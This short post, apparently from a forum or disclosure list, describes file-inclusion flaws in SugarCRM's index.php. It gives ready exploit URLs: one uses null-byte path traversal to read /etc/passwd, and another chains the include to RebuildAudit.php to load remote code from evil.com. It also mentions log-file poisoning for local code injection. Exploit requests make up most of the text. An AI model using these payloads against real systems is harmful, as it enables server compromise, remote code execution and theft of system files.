The one I found in 10 min will only work with systems affected by the null-byte bug.
example:
/sugarcrm/index.php?page=licensePrint&language=../../../../../../../../etc/passwd%00
The problem can lead to a remote include because 'sugarEntry' is defined at the top of index.php
Now an attacker could include any restricted file, and with registered globals on, easily get remote include.
Easy remote include vuln is in:
modules/Administration/RebuildAudit.php
So by doing:
/sugarcrm/index.php?page=licensePrint&language=../../modules/Administration/RebuildAudit.php%00&beanFiles[youFigureItOut]=http://evil.com/evil.php?
If registered globals is off, then local file include is still possible. Most attackers can figure out how to inject php code into log files.
Bookmarks